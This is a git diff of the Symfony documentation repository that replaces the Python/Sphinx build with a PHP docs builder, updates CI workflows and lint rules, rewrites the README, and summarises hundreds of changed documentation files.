 frontend/encore/reactjs.rst                   |   15 +-
 frontend/encore/shared-entry.rst              |   42 -
 frontend/encore/simple-example.rst            |  146 +-
 frontend/encore/split-chunks.rst              |   35 +-
 frontend/encore/typescript.rst                |   31 +-
 frontend/encore/url-loader.rst                |   47 +-
 frontend/encore/versioning.rst                |   19 +-
 frontend/encore/virtual-machine.rst           |   49 +-
 frontend/encore/vuejs.rst                     |   34 +-
 http_cache.rst                                |   16 +-
 http_cache/esi.rst                            |   36 +-
 http_cache/expiration.rst                     |    2 +-
 http_cache/ssi.rst                            |   14 +-
 http_cache/validation.rst                     |    2 +-
 http_client.rst                               |  566 +++-
 introduction/from_flat_php_to_symfony.rst     |   19 +-
 lock.rst                                      |   78 +-
 logging.rst                                   |  146 +-
 logging/channels_handlers.rst                 |   51 +-
 logging/formatter.rst                         |   24 +-
 logging/handlers.rst                          |   17 +-
 logging/monolog_console.rst                   |   30 +-
 logging/monolog_email.rst                     |  159 +-
 logging/monolog_exclude_http_codes.rst        |   22 +-
 logging/monolog_regex_based_excludes.rst      |   78 -
 logging/processors.rst                        |   45 +-
 mailer.rst                                    |  436 ++-
 mercure.rst                                   |  520 +--
 messenger.rst                                 |  867 +++--
 messenger/custom-transport.rst                |   17 +-
 messenger/dispatch_after_current_bus.rst      |    2 +-
 messenger/handler_results.rst                 |    4 +-
 messenger/multiple_buses.rst                  |  138 +-
 migration.rst                                 |   17 +-
 notifier.rst                                  |  302 +-
 notifier/chatters.rst                         |  300 +-
 notifier/texters.rst                          |    3 +-
 page_creation.rst                             |   79 +-
 performance.rst                               |   34 +-
 profiler.rst                                  |    2 +-
 profiler/data_collector.rst                   |    3 +-
 quick_tour/flex_recipes.rst                   |   28 +-
 quick_tour/the_architecture.rst               |   35 +-
 quick_tour/the_big_picture.rst                |   44 +-
 rate_limiter.rst                              |  338 +-
 reference/configuration/debug.rst             |   14 +-
 reference/configuration/doctrine.rst          |   84 +-
 reference/configuration/framework.rst         | 1250 +++++---
 reference/configuration/kernel.rst            |   11 +-
 reference/configuration/security.rst          |  557 ++--
 reference/configuration/swiftmailer.rst       |  389 +--
 reference/configuration/twig.rst              |   59 +-
 reference/configuration/web_profiler.rst      |    6 -
 reference/constraints.rst                     |    1 +
 reference/constraints/All.rst                 |    3 -
 reference/constraints/AtLeastOneOf.rst        |   10 +-
 reference/constraints/Bic.rst                 |   35 +-
 reference/constraints/Blank.rst               |   16 +-
 reference/constraints/Callback.rst            |   39 +-
 reference/constraints/CardScheme.rst          |   30 +-
 reference/constraints/Choice.rst              |   92 +-
 reference/constraints/Cidr.rst                |  150 +
 reference/constraints/Collection.rst          |   41 +-
 reference/constraints/Compound.rst            |  117 +-
 reference/constraints/Count.rst               |   55 +-
 reference/constraints/Country.rst             |   17 +-
 reference/constraints/CssColor.rst            |  310 ++
 reference/constraints/Currency.rst            |   16 +-
 reference/constraints/Date.rst                |   16 +-
 reference/constraints/DateTime.rst            |   24 +-
 reference/constraints/DivisibleBy.rst         |   28 +-
 reference/constraints/Email.rst               |   63 +-
 reference/constraints/EqualTo.rst             |   23 +-
 reference/constraints/Expression.rst          |   63 +-
 .../constraints/ExpressionLanguageSyntax.rst  |   31 +-
 reference/constraints/File.rst                |  101 +-
 reference/constraints/GreaterThan.rst         |   62 +-
 reference/constraints/GreaterThanOrEqual.rst  |   62 +-
 reference/constraints/Hostname.rst            |   19 +-
 reference/constraints/Iban.rst                |   18 +-
 reference/constraints/IdenticalTo.rst         |   23 +-
 reference/constraints/Image.rst               |  171 +-
 reference/constraints/Ip.rst                  |   26 +-
 reference/constraints/IsFalse.rst             |   35 +-
 reference/constraints/IsNull.rst              |   16 +-
 reference/constraints/IsTrue.rst              |   25 +-
 reference/constraints/Isbn.rst                |   51 +-
 reference/constraints/Isin.rst                |   16 +-
 reference/constraints/Issn.rst                |   30 +-
 reference/constraints/Json.rst                |   21 +-
 reference/constraints/Language.rst            |   21 +-
 reference/constraints/Length.rst              |   62 +-
 reference/constraints/LessThan.rst            |   62 +-
 reference/constraints/LessThanOrEqual.rst     |   62 +-
 reference/constraints/Locale.rst              |   18 +-
 reference/constraints/Luhn.rst                |   16 +-
 reference/constraints/Negative.rst            |   20 +-
 reference/constraints/NegativeOrZero.rst      |   20 +-
 reference/constraints/NotBlank.rst            |   24 +-
 .../constraints/NotCompromisedPassword.rst    |   30 +-
 reference/constraints/NotEqualTo.rst          |   23 +-
 reference/constraints/NotIdenticalTo.rst      |   23 +-
 reference/constraints/NotNull.rst             |   16 +-
 reference/constraints/Positive.rst            |   20 +-
 reference/constraints/PositiveOrZero.rst      |   20 +-
 reference/constraints/Range.rst               |  114 +-
 reference/constraints/Regex.rst               |   83 +-
 reference/constraints/Sequentially.rst        |    7 +-
 reference/constraints/Time.rst                |   19 +-
 reference/constraints/Timezone.rst            |   35 +-
 reference/constraints/Traverse.rst            |   83 +-
 reference/constraints/Type.rst                |   58 +-
 reference/constraints/Ulid.rst                |   17 +-
 reference/constraints/Unique.rst              |   45 +-
 reference/constraints/UniqueEntity.rst        |   83 +-
 reference/constraints/Url.rst                 |   76 +-
 reference/constraints/UserPassword.rst        |   24 +-
 reference/constraints/Uuid.rst                |   21 +-
 reference/constraints/Valid.rst               |   59 +-
 .../constraints/_normalizer-option.rst.inc    |    4 +-
 .../_null-values-are-valid.rst.inc            |    6 +
 reference/constraints/map.rst.inc             |    2 +
 reference/dic_tags.rst                        |  130 +-
 reference/events.rst                          |   11 +-
 reference/forms/types.rst                     |    4 +
 reference/forms/types/birthday.rst            |   59 +-
 reference/forms/types/button.rst              |    9 -
 reference/forms/types/checkbox.rst            |   41 +-
 reference/forms/types/choice.rst              |   67 +-
 reference/forms/types/collection.rst          |   53 +-
 reference/forms/types/color.rst               |   50 +-
 reference/forms/types/country.rst             |   58 +-
 reference/forms/types/currency.rst            |   56 +-
 reference/forms/types/date.rst                |   59 +-
 reference/forms/types/dateinterval.rst        |   63 +-
 reference/forms/types/datetime.rst            |   68 +-
 reference/forms/types/email.rst               |   46 +-
 reference/forms/types/entity.rst              |   51 +-
 reference/forms/types/enum.rst                |  119 +
 reference/forms/types/file.rst                |   43 +-
 reference/forms/types/form.rst                |   68 +-
 reference/forms/types/hidden.rst              |   38 +-
 reference/forms/types/integer.rst             |   94 +-
 reference/forms/types/language.rst            |   63 +-
 reference/forms/types/locale.rst              |   57 +-
 reference/forms/types/map.rst.inc             |    7 +
 reference/forms/types/money.rst               |   56 +-
 reference/forms/types/number.rst              |   55 +-
 reference/forms/types/options/attr.rst.inc    |    2 +-
 .../forms/types/options/choice_attr.rst.inc   |   16 +-
 .../choice_translation_parameters.rst.inc     |   80 +
 .../options/empty_data_declaration.rst.inc    |    4 +
 ...rst.inc => empty_data_description.rst.inc} |   11 -
 .../forms/types/options/form_attr.rst.inc     |   20 +
 reference/forms/types/options/help.rst.inc    |   22 +-
 .../forms/types/options/help_html.rst.inc     |    2 +-
 reference/forms/types/options/label.rst.inc   |    4 +-
 .../forms/types/options/label_html.rst.inc    |    2 +-
 .../types/options/preferred_choices.rst.inc   |    2 +-
 .../forms/types/options/priority.rst.inc      |   16 +
 .../forms/types/options/row_attr.rst.inc      |    2 +-
 reference/forms/types/options/scale.rst.inc   |    9 -
 reference/forms/types/password.rst            |   46 +-
 reference/forms/types/percent.rst             |   55 +-
 reference/forms/types/radio.rst               |   45 +-
 reference/forms/types/range.rst               |   47 +-
 reference/forms/types/repeated.rst            |   43 +-
 reference/forms/types/reset.rst               |    8 -
 reference/forms/types/search.rst              |   45 +-
 reference/forms/types/submit.rst              |   12 -
 reference/forms/types/tel.rst                 |   46 +-
 reference/forms/types/text.rst                |   26 +-
 reference/forms/types/textarea.rst            |   23 +-
 reference/forms/types/time.rst                |   61 +-
 reference/forms/types/timezone.rst            |   58 +-
 reference/forms/types/ulid.rst                |   74 +
 reference/forms/types/url.rst                 |   48 +-
 reference/forms/types/uuid.rst                |   74 +
 reference/forms/types/week.rst                |   58 +-
 reference/twig_reference.rst                  |   27 +
 routing.rst                                   |  280 +-
 routing/custom_route_loader.rst               |    2 +-
 security.rst                                  | 2778 +++++++++++++----
 security/_supportsToken.rst.inc               |   10 -
 security/access_control.rst                   |  196 +-
 security/access_denied_handler.rst            |   48 +-
 security/acl.rst                              |   15 -
 security/auth_providers.rst                   |  241 --
 security/csrf.rst                             |   38 +-
 security/custom_authentication_provider.rst   |  653 ----
 security/custom_authenticator.rst             |  380 +++
 security/entry_point.rst                      |  174 ++
 security/experimental_authenticators.rst      |  504 ---
 security/expressions.rst                      |   37 +-
 security/firewall_restriction.rst             |   80 +-
 security/force_https.rst                      |   46 +-
 security/form_login.rst                       |  514 +--
 security/form_login_setup.rst                 |  518 ---
 security/guard_authentication.rst             |  582 ----
 security/impersonating_user.rst               |   75 +-
 security/json_login_setup.rst                 |  213 --
 security/ldap.rst                             |  117 +-
 security/login_link.rst                       |  270 +-
 security/multiple_guard_authenticators.rst    |  181 --
 security/named_encoders.rst                   |  195 --
 security/password_migration.rst               |  248 --
 security/passwords.rst                        |  782 +++++
 security/remember_me.rst                      |   73 +-
 security/reset_password.rst                   |   28 -
 security/securing_services.rst                |   53 -
 security/user_checkers.rst                    |   25 +-
 security/user_provider.rst                    |  533 ----
 security/user_providers.rst                   |  375 +++
 security/voters.rst                           |  118 +-
 serializer.rst                                |   53 +-
 serializer/custom_encoders.rst                |    2 +-
 serializer/custom_normalizer.rst              |   29 +
 serializer/normalizers.rst                    |   22 +-
 service_container.rst                         |   85 +-
 service_container/3.3-di-changes.rst          |  873 ------
 service_container/alias_private.rst           |    6 +-
 service_container/autowiring.rst              |   28 +-
 service_container/calls.rst                   |   35 +-
 service_container/compiler_passes.rst         |    4 +-
 service_container/configurators.rst           |    8 +-
 service_container/debug.rst                   |    4 +-
 service_container/definitions.rst             |    8 +-
 service_container/expression_language.rst     |    3 +-
 service_container/factories.rst               |   10 +-
 service_container/import.rst                  |    7 +-
 service_container/injection_types.rst         |    6 +-
 service_container/lazy_services.rst           |    7 +-
 service_container/optional_dependencies.rst   |    2 +-
 service_container/parent_services.rst         |    2 +-
 .../service_subscribers_locators.rst          |  106 +-
 service_container/synthetic_services.rst      |    2 +-
 service_container/tags.rst                    |   45 +-
 session.rst                                   |  141 +-
 session/database.rst                          |  102 +-
 session/locale_sticky_session.rst             |   13 +-
 session/php_bridge.rst                        |   34 +-
 session/proxy_examples.rst                    |   13 +-
 setup.rst                                     |   89 +-
 setup/_vendor_deps.rst.inc                    |   59 -
 setup/docker.rst                              |   56 +
 setup/flex.rst                                |   51 +-
 setup/flex_private_recipes.rst                |  221 ++
 setup/homestead.rst                           |    4 +-
 setup/symfony_server.rst                      |   41 +-
 setup/unstable_versions.rst                   |   22 +-
 setup/upgrade_major.rst                       |  197 +-
 setup/upgrade_minor.rst                       |   34 +-
 setup/web_server_configuration.rst            |   12 +-
 templates.rst                                 |  106 +-
 templating/global_variables.rst               |   25 +-
 templating/hinclude.rst                       |   14 +-
 testing.rst                                   | 1500 ++++-----
 testing/bootstrap.rst                         |    4 +-
 testing/database.rst                          |  124 +-
 testing/dom_crawler.rst                       |   94 +
 testing/functional_tests_assertions.rst       |  118 -
 testing/profiling.rst                         |   16 +-
 translation.rst                               |  346 +-
 translation/debug.rst                         |   12 +-
 translation/lint.rst                          |   15 +
 translation/locale.rst                        |   10 +-
 translation/message_format.rst                |   51 +-
 translation/templates.rst                     |   89 -
 translation/xliff.rst                         |    2 +-
 validation.rst                                |  204 +-
 validation/custom_constraint.rst              |  118 +-
 validation/groups.rst                         |   23 +-
 validation/raw_values.rst                     |   11 +-
 validation/sequence_provider.rst              |   65 +-
 validation/severity.rst                       |   21 +-
 validation/translations.rst                   |   38 +-
 web_link.rst                                  |   10 +-
 workflow.rst                                  |  292 +-
 workflow/dumping-workflows.rst                |  152 +-
 workflow/workflow-and-state-machine.rst       |  108 +-
 493 files changed, 22850 insertions(+), 18006 deletions(-)
 delete mode 100644 .symfony.cloud.yaml
 delete mode 100644 .symfony/routes.yaml
 delete mode 100644 .symfony/services.yaml
 delete mode 100644 Dockerfile
 delete mode 100644 _build/.requirements.txt
 delete mode 100644 _build/Makefile
 delete mode 100644 _build/_exts/symfonycom/__init__.py
 delete mode 100644 _build/_exts/symfonycom/sphinx/__init__.py
 delete mode 100644 _build/_exts/symfonycom/sphinx/lexer.py
 delete mode 100644 _build/_static/rtd_custom.css
 delete mode 100644 _build/_static/symfony-logo.svg
 delete mode 100644 _build/conf.py
 delete mode 100644 _build/make.bat
 create mode 100644 _images/components/console/cursor.gif
 delete mode 100644 _images/components/form/general_flow.png
 delete mode 100644 _images/components/form/set_data_flow.png
 delete mode 100644 _images/components/form/submission_flow.png
 create mode 100644 _images/components/workflow/blogpost_mermaid.png
 delete mode 100644 _images/docs-pull-request-change-base.png
 create mode 100644 _images/form/form_prepopulation_workflow.svg
 create mode 100644 _images/form/form_submission_workflow.svg
 create mode 100644 _images/form/form_workflow.svg
 create mode 100644 _images/notifier/microsoft_teams/message-card.png
 create mode 100644 _images/notifier/microsoft_teams/message.png
 create mode 100644 _images/notifier/slack/field-method.png
 create mode 100644 _images/notifier/slack/message-reply.png
 create mode 100644 _images/notifier/slack/slack-footer.png
 create mode 100644 _images/notifier/slack/slack-header.png
 create mode 100644 _images/rate_limiter/fixed_window.svg
 create mode 100644 _images/rate_limiter/sliding_window.svg
 create mode 100644 _images/rate_limiter/token_bucket.svg
 create mode 100644 _images/security/security_events.svg
 create mode 100644 _images/sources/form/form_events.dia
 create mode 100644 _images/sources/rate_limiter/fixed_window.dia
 create mode 100644 _images/sources/rate_limiter/sliding_window.dia
 create mode 100644 _images/sources/rate_limiter/token_bucket.dia
 create mode 100644 _images/sources/security/security_events.dia
 delete mode 100644 _includes/service_container/_my_mailer.rst.inc
 create mode 100644 components/cache/adapters/couchbasecollection_adapter.rst
 create mode 100644 components/console/helpers/cursor.rst
 delete mode 100644 components/index.rst
 create mode 100644 components/runtime.rst
 create mode 100644 contributing/translations/index.rst
 delete mode 100644 docs.json
 create mode 100644 form/bootstrap5.rst
 delete mode 100644 frontend/encore/shared-entry.rst
 delete mode 100644 logging/monolog_regex_based_excludes.rst
 create mode 100644 reference/constraints/Cidr.rst
 create mode 100644 reference/constraints/CssColor.rst
 create mode 100644 reference/constraints/_null-values-are-valid.rst.inc
 create mode 100644 reference/forms/types/enum.rst
 create mode 100644 reference/forms/types/options/choice_translation_parameters.rst.inc
 create mode 100644 reference/forms/types/options/empty_data_declaration.rst.inc
 rename reference/forms/types/options/{empty_data.rst.inc => empty_data_description.rst.inc} (84%)
 create mode 100644 reference/forms/types/options/form_attr.rst.inc
 create mode 100644 reference/forms/types/options/priority.rst.inc
 delete mode 100644 reference/forms/types/options/scale.rst.inc
 create mode 100644 reference/forms/types/ulid.rst
 create mode 100644 reference/forms/types/uuid.rst
 delete mode 100644 security/_supportsToken.rst.inc
 delete mode 100644 security/acl.rst
 delete mode 100644 security/auth_providers.rst
 delete mode 100644 security/custom_authentication_provider.rst
 create mode 100644 security/custom_authenticator.rst
 create mode 100644 security/entry_point.rst
 delete mode 100644 security/experimental_authenticators.rst
 delete mode 100644 security/form_login_setup.rst
 delete mode 100644 security/guard_authentication.rst
 delete mode 100644 security/json_login_setup.rst
 delete mode 100644 security/multiple_guard_authenticators.rst
 delete mode 100644 security/named_encoders.rst
 delete mode 100644 security/password_migration.rst
 create mode 100644 security/passwords.rst
 delete mode 100644 security/reset_password.rst
 delete mode 100644 security/securing_services.rst
 delete mode 100644 security/user_provider.rst
 create mode 100644 security/user_providers.rst
 delete mode 100644 service_container/3.3-di-changes.rst
 delete mode 100644 setup/_vendor_deps.rst.inc
 create mode 100644 setup/docker.rst
 create mode 100644 setup/flex_private_recipes.rst
 create mode 100644 testing/dom_crawler.rst
 delete mode 100644 testing/functional_tests_assertions.rst
 delete mode 100644 translation/templates.rst

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 9eb5ffca34c..70b646e146a 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -1,11 +1,14 @@
 rules:
     american_english: ~
     avoid_repetetive_words: ~
+    blank_line_after_anchor: ~
     blank_line_after_directive: ~
     blank_line_before_directive: ~
     composer_dev_option_not_at_the_end: ~
     correct_code_block_directive_based_on_the_content: ~
     deprecated_directive_should_have_version: ~
+    ensure_exactly_one_space_between_link_definition_and_link: ~
+    ensure_link_definition_contains_valid_url: ~
     ensure_order_of_code_blocks_in_configuration_block: ~
     extend_abstract_controller: ~
     extension_xlf_instead_of_xliff: ~
@@ -13,6 +16,7 @@ rules:
     lowercase_as_in_use_statements: ~
     max_blank_lines:
         max: 2
+    max_colons: ~
     no_app_console: ~
     no_blank_line_after_filepath_in_php_code_block: ~
     no_blank_line_after_filepath_in_twig_code_block: ~
@@ -20,6 +24,7 @@ rules:
     no_blank_line_after_filepath_in_yaml_code_block: ~
     no_brackets_in_method_directive: ~
     no_composer_req: ~
+    no_directive_after_shorthand: ~
     no_explicit_use_of_code_block_php: ~
     no_inheritdoc: ~
     no_namespace_after_use_statements: ~
@@ -34,6 +39,7 @@ rules:
     short_array_syntax: ~
     space_between_label_and_link_in_doc: ~
     space_between_label_and_link_in_ref: ~
+    string_replacement: ~
     typo: ~
     unused_links: ~
     use_deprecated_directive_instead_of_versionadded: ~
@@ -65,6 +71,7 @@ whitelist:
         - '/``.yml``/'
         - '/(.*)\.orm\.yml/' # currently DoctrineBundle only supports .yml
         - '/rst-class/'
+        - /docker-compose\.yml/
     lines:
         - 'in config files, so the old ``app/config/config_dev.yml`` goes to'
         - '#. The most important config file is ``app/config/services.yml``, which now is'
@@ -73,7 +80,7 @@ whitelist:
         - 'The bin/console Command'
         - '# username is your full Gmail or Google Apps email address'
         - '.. _`LDAP injection`: http://projects.webappsec.org/w/page/13246947/LDAP%20Injection'
-        - '.. versionadded:: 0.21.0' # Encore
+        - '.. versionadded:: 1.9.0' # Encore
         - '.. versionadded:: 0.28.4' # Encore
         - '.. versionadded:: 2.4.0' # SwiftMailer
         - '.. versionadded:: 1.30' # Twig
@@ -83,6 +90,7 @@ whitelist:
         - '.. versionadded:: 1.3' # MakerBundle
         - '.. versionadded:: 1.8' # MakerBundle
         - '.. versionadded:: 1.6' # Flex in setup/upgrade_minor.rst
+        - '.. versionadded:: 1.0.0' # Encore
         - '0 => 123' # assertion for var_dumper - components/var_dumper.rst
         - '1 => "foo"' # assertion for var_dumper - components/var_dumper.rst
         - '123,' # assertion for var_dumper - components/var_dumper.rst
@@ -95,3 +103,8 @@ whitelist:
         - 'provides a ``loginUser()`` method to simulate logging in in your functional'
         - '.. code-block:: twig'
         - '.. versionadded:: 3.6' # MonologBundle
+        - '// bin/console'
+        - 'End to End Tests (E2E)'
+        - '.. code-block:: php'
+        - '.. _`a feature to test applications using Mercure`: https://github.com/symfony/panther#creating-isolated-browsers-to-test-apps-using-mercure-or-websocket'
+        - '..  End to End Tests (E2E)'
diff --git a/.github/CODEOWNERS b/.github/CODEOWNERS
index 51ce53a1a89..9eb5d91783b 100644
--- a/.github/CODEOWNERS
+++ b/.github/CODEOWNERS
@@ -1,3 +1,6 @@
+# GithubActions workflows
+/.github/workflows* @OskarStark
+
 # Console
 /console* @chalasr
 /components/console* @chalasr
diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index dd7599889d0..6c10a4eaf9b 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -1,3 +1,5 @@
+name: CI
+
 on:
     push:
         branches-ignore:
@@ -6,83 +8,51 @@ on:
         branches-ignore:
             - 'github-comments'
 
-name: CI
-
 jobs:
-    build:
-        name: Build
+    symfony-docs-builder-build:
+        name: Build (symfony-tools/docs-builder)
 
         runs-on: ubuntu-latest
 
+        continue-on-error: true
+
         steps:
             -   name: "Checkout"
                 uses: actions/checkout@v2
 
-            -   name: "Set up Python 3.7"
-                uses: actions/setup-python@v1
+            -   name: "Set-up PHP"
+                uses: shivammathur/setup-php@v2
                 with:
-                    python-version: '3.7' # Semantic version range syntax or exact version of a Python version
-
-            -   name: "Display Python version"
-                run: python -c "import sys; print(sys.version)"
+                    php-version: 8.0
+                    coverage: none
+                    tools: "composer:v2"
 
-            -   name: "Install Sphinx dependencies"
-                run: sudo apt-get install python-dev build-essential
+            -   name: Get composer cache directory
+                id: composercache
+                working-directory: _build
+                run: echo "::set-output name=dir::$(composer config cache-files-dir)"
 
-            -   name: "Cache pip"
+            -   name: Cache dependencies
                 uses: actions/cache@v2
                 with:
-                    path: ~/.cache/pip
-                    key: ${{ runner.os }}-pip-${{ hashFiles('_build/.requirements.txt') }}
-                    restore-keys: |
-                        ${{ runner.os }}-pip-
+                    path: ${{ steps.composercache.outputs.dir }}
+                    key: ${{ runner.os }}-composer-${{ hashFiles('**/composer.lock') }}
+                    restore-keys: ${{ runner.os }}-composer-
 
-            -   name: "Install Sphinx + requirements via pip"
-                run: pip install -r _build/.requirements.txt
+            -   name: "Install dependencies"
+                working-directory: _build
+                run: composer install --prefer-dist --no-progress
 
-            -   name: "Build documentation"
-                run: make -C _build SPHINXOPTS="-nqW -j auto" html
+            -   name: "Build the docs"
+                working-directory: _build
+                run: php build.php -vvv
 
-    build-php:
-        name: Symfony doc builder
-
-        runs-on: ubuntu-latest
-
-        continue-on-error: true
-
-        steps:
-            - name: "Checkout"
-              uses: actions/checkout@v2
-
-            - name: "Set-up PHP"
-              uses: shivammathur/setup-php@v2
-              with:
-                  php-version: 7.2
-                  coverage: none
-                  tools: "composer:v2"
-
-            - name: Get composer cache directory
-              id: composercache
-              working-directory: _build
-              run: echo "::set-output name=dir::$(composer config cache-files-dir)"
-
-            - name: Cache dependencies
-              uses: actions/cache@v2
-              with:
-                  path: ${{ steps.composercache.outputs.dir }}
-                  key: ${{ runner.os }}-composer-${{ hashFiles('**/composer.lock') }}
-                  restore-keys: ${{ runner.os }}-composer-
-
-            - name: "Install dependencies"
-              working-directory: _build
-              run: composer install --prefer-dist --no-progress
-
-            - name: "Build the docs"
-              working-directory: _build
-              run: php build.php -vvv
+            -   name: Show log file
+                if: ${{ always() }}
+                run: cat _build/logs.txt || true
 
     doctor-rst:
-        name: DOCtor-RST
+        name: Lint (DOCtor-RST)
 
         runs-on: ubuntu-latest
 
@@ -98,7 +68,7 @@ jobs:
                 id: extract_base_branch
 
             -   name: "Cache DOCtor-RST"
-                uses: actions/cache@v1
+                uses: actions/cache@v2
                 with:
                     path: .cache
                     key: ${{ runner.os }}-doctor-rst-${{ steps.extract_base_branch.outputs.branch }}
@@ -107,3 +77,68 @@ jobs:
                 uses: docker://oskarstark/doctor-rst
                 with:
                     args: --short --error-format=github --cache-file=/github/workspace/.cache/doctor-rst.cache
+
+    symfony-code-block-checker:
+        name: Code Blocks
+        runs-on: Ubuntu-20.04
+        continue-on-error: true
+        steps:
+          - name: Checkout code
+            uses: actions/checkout@v2
+            with:
+                path: 'docs'
+
+          - name: Set-up PHP
+            uses: shivammathur/setup-php@v2
+            with:
+                php-version: 8.0
+                coverage: none
+
+          - name: Fetch branch from where the PR started
+            working-directory: docs
+            run: git fetch --no-tags --prune --depth=1 origin +refs/heads/*:refs/remotes/origin/*
+
+          - name: Find modified files
+            id: find-files
+            working-directory: docs
+            run: echo "::set-output name=files::$(git diff --name-only origin/${{ github.base_ref }} HEAD | grep ".rst" | tr '\n' ' ')"
+
+          - name: Get composer cache directory
+            id: composercache
+            working-directory: docs/_build
+            run: echo "::set-output name=dir::$(composer config cache-files-dir)"
+
+          - name: Cache dependencies
+            if: ${{ steps.find-files.outputs.files }}
+            uses: actions/cache@v2
+            with:
+                path: ${{ steps.composercache.outputs.dir }}
+                key: ${{ runner.os }}-composer-codeBlocks-${{ hashFiles('_checker/composer.lock', '_sf_app/composer.lock') }}
+                restore-keys: ${{ runner.os }}-composer-codeBlocks-
+
+          - name: Install dependencies
+            if: ${{ steps.find-files.outputs.files }}
+            run: composer create-project symfony-tools/code-block-checker _checker
+
+          - name: Install test application
+            if: ${{ steps.find-files.outputs.files }}
+            run: |
+              git clone -b ${{ github.base_ref }} --depth 5 --single-branch https://github.com/symfony-tools/symfony-application.git _sf_app
+              cd _sf_app
+              composer update
+
+          - name: Generate baseline
+            if: ${{ steps.find-files.outputs.files }}
+            working-directory: docs
+            run: |
+              CURRENT=$(git rev-parse HEAD)
+              git checkout -m ${{ github.base_ref }}
+              ../_checker/code-block-checker.php verify:docs `pwd` ${{ steps.find-files.outputs.files }} --generate-baseline=baseline.json --symfony-application=`realpath ../_sf_app`
+              git checkout -m $CURRENT
+              cat baseline.json
+
+          - name: Verify examples
+            if: ${{ steps.find-files.outputs.files }}
+            working-directory: docs
+            run: |
+              ../_checker/code-block-checker.php verify:docs `pwd` ${{ steps.find-files.outputs.files }} --baseline=baseline.json --output-format=github --symfony-application=`realpath ../_sf_app`
diff --git a/.gitignore b/.gitignore
index 1d25940e5c8..b69047f69a1 100644
--- a/.gitignore
+++ b/.gitignore
@@ -1,7 +1,2 @@
-/_build/doctrees
-/_build/spelling
-/_build/html
-/_build/logs.txt
 /_build/vendor
 /_build/output
-*.pyc
diff --git a/.symfony.cloud.yaml b/.symfony.cloud.yaml
deleted file mode 100644
index bcb1a48bf08..00000000000
--- a/.symfony.cloud.yaml
+++ /dev/null
@@ -1,48 +0,0 @@
-# This file describes an application. You can have multiple applications
-# in the same project.
-
-# The name of this app. Must be unique within a project.
-name: symfonydocs
-
-# The toolstack used to build the application.
-type: "php:7.2"
-
-# The configuration of app when it is exposed to the web.
-web:
-    # The public directory of the app, relative to its root.
-    document_root: "/_build/output"
-    index_files:
-      - index.html
-    whitelist:
-      - \.html$
-      - \.txt$
-
-      # CSS and Javascript.
-      - \.css$
-      - \.js$
-      - \.hbs$
-
-      # image/* types.
-      - \.gif$
-      - \.png$
-      - \.ico$
-      - \.svgz?$
-
-      # fonts types.
-      - \.ttf$
-      - \.eot$
-      - \.woff$
-      - \.otf$
-
-      # robots.txt.
-      - /robots\.txt$
-
-# The size of the persistent disk of the application (in MB).
-disk: 512
-
-# The hooks that will be performed when the package is deployed.
-hooks:
-    build: |
-      cd _build
-      composer install --prefer-dist --no-progress
-      php build.php
diff --git a/.symfony/routes.yaml b/.symfony/routes.yaml
deleted file mode 100644
index caf4875f732..00000000000
--- a/.symfony/routes.yaml
+++ /dev/null
@@ -1,11 +0,0 @@
-https://{default}/:
-  cache:
-    cookies:
-      - '*'
-    default_ttl: 0
-    enabled: true
-    headers:
-      - Accept
-      - Accept-Language
-  type: upstream
-  upstream: symfonydocs:http
diff --git a/.symfony/services.yaml b/.symfony/services.yaml
deleted file mode 100644
index ec9369f2b00..00000000000
--- a/.symfony/services.yaml
+++ /dev/null
@@ -1 +0,0 @@
-# Keeping this file empty to not deploy unused services.
diff --git a/Dockerfile b/Dockerfile
deleted file mode 100644
index c1e63debe91..00000000000
--- a/Dockerfile
+++ /dev/null
@@ -1,16 +0,0 @@
-FROM  python:2-stretch as builder
-
-WORKDIR /www
-
-COPY ./_build/.requirements.txt _build/
-
-RUN pip install  pip==9.0.1 wheel==0.29.0 \
-    && pip install -r _build/.requirements.txt
-
-COPY . /www
-
-RUN make -C _build html
-
-FROM  nginx:latest
-
-COPY --from=builder /www/_build/html /usr/share/nginx/html
diff --git a/README.markdown b/README.markdown
index 1d94f6f1ff0..2139c1599ac 100644
--- a/README.markdown
+++ b/README.markdown
@@ -1,39 +1,45 @@
-Symfony Documentation
-=====================
-
-This documentation is rendered online at https://symfony.com/doc/current/
+<p align="center"><a href="https://symfony.com" target="_blank">
+  <img src="https://symfony.com/logos/symfony_black_02.svg">
+</a></p>
+
+<h3 align="center">
+  The official Symfony Documentation
+</h3>
+
+<p align="center">
+  <a href="https://symfony.com/doc/current/index.html">
+    Online version
+  </a>
+  <span> | </span>
+  <a href="https://symfonycasts.com">
+    Screencasts
+  </a>
+</p>
 
 Contributing
 ------------
 
-We love contributors! For more information on how you can contribute to the
-Symfony documentation, please read
-[Contributing to the Documentation](https://symfony.com/doc/current/contributing/documentation/overview.html)
+We love contributors! For more information on how you can contribute, please read
+the [Symfony Docs Contributing Guide](https://symfony.com/doc/current/contributing/documentation/overview.html)
 
-> **Note**
-> Unless you're documenting a feature that was introduced *after* Symfony 3.4
-> (e.g. in Symfony 4.4), all pull requests must be based off of the **3.4** branch,
-> **not** the master or older branches.
+**Important**: use `4.4` branch as the base of your pull requests, unless you are
+documenting a feature that was introduced *after* Symfony 4.4 (e.g. in Symfony 5.2).
 
-SymfonyCloud
-------------
+Build Documentation Locally
+---------------------------
 
-Thanks to [SymfonyCloud](https://symfony.com/cloud) for providing an integration
-server where Pull Requests are built and can be reviewed by contributors.
+This is not needed for contributing, but it's useful if you want to debug some
+issue in the docs or if you want to read Symfony Documentation offline.
 
-Docker
-------
+```bash
+$ git clone git@github.com:symfony/symfony-docs.git
 
-You can build the doc locally with these commands:
+$ cd symfony-docs/
+$ cd _build/
 
-```bash
-# build the image...
-$ docker build . -t symfony-docs
+$ composer install
 
-# ...and start the local web server
-# (if it's already in use, change the '8080' port by any other port)
-$ docker run --rm -p 8080:80 symfony-docs
+$ php build.php
 ```
 
-You can now read the docs at http://127.0.0.1:8080 (if you use a virtual
-machine, browse its IP instead of localhost; e.g. `http://192.168.99.100:8080`).
+Now you can browse the docs at `_build/output/index.html`
diff --git a/_build/.requirements.txt b/_build/.requirements.txt
deleted file mode 100644
index 26a019bfa6b..00000000000
--- a/_build/.requirements.txt
+++ /dev/null
@@ -1,6 +0,0 @@
-docutils==0.13.1
-Pygments==2.2.0
-sphinx==1.8.5
-git+https://github.com/fabpot/sphinx-php.git@v2.0.2#egg_name=sphinx-php
